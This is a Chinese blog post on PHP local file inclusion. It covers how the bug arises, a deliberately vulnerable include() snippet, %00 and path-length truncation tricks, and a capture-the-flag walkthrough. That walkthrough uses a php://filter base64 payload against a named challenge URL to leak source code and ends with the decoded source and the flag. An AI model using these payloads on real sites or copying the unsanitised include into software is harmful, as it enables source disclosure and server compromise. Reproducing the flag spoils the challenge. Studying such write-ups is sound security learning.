文件包含漏洞(绕过姿势)

1.1文件包含漏洞的形成

文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。

文件包含函数主要有以下四个:

他们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行,而require()和require_once()则会直接报错并退出程序。

1.2本地文件包含漏洞

本地文件包含(load file include)简称LFI
测试代码如下:

<?php
define("ROOT",dirname(_FILE_).'/');
$file=$_GET['file'];
echo ROOT.$file.'.php';
include(ROOT.$file.'.php');
?>

如果输入file=1,并在1.php中输入<?php phpinfo();?>,页面将会显示出php的版本信息。

1.3文件包含截断

文件包含中,如果我们不能写入以.php为扩展名的文件,常常需要进行截断

  • 方法一

因为php基于c语言,是以0字符进行结尾的,所以可以用\0或者%00进行截断

  • 方法二

因为有些时候%00截断会被GPC和addslashes等函数过滤掉,这是我们再用第一种方法就就没用了,而在目录字符串,在windows256字节,linux下4096字节时会达到最大值,最大值之后的字符将会被抛弃,这时就可以用多个(.)和(/)来截断

1.4 直接上题目

题目链接

点击之后跳转到另一个界面
在这里插入图片描述

扫描二维码关注公众号,回复: 3412727 查看本文章

此时

   http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

我试着写了一段payload:

http://4.chinalover.sinaapp.com/web7/index.php?file=test123.php

http://4.chinalover.sinaapp.com/web7/index.php?file=index.php

完全没效果,哇,果然这一题不是这么简单,查看源码也没有啥有效信息,难受啊,实在没办法搜了答案,payload如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

convert.base64-encode对数据流进行加密
完全没看懂,没接触过filter,不知道是干嘛的,于是搜了一下:
在这里插入图片描述

原来这一题还考了php://filter的绕过,首先过滤index.php这个数据流,然后通过base64加密读取文件代码,这样页面就显示了一段经过base64加密之后的字符串,如下图:

在这里插入图片描述

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

拿去经过base64解码之后,网页源代码出现了:

<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

flag:nctf{edulcni_elif_lacol_si_siht}

猜你喜欢

转载自blog.csdn.net/heiseweiye/article/details/82774710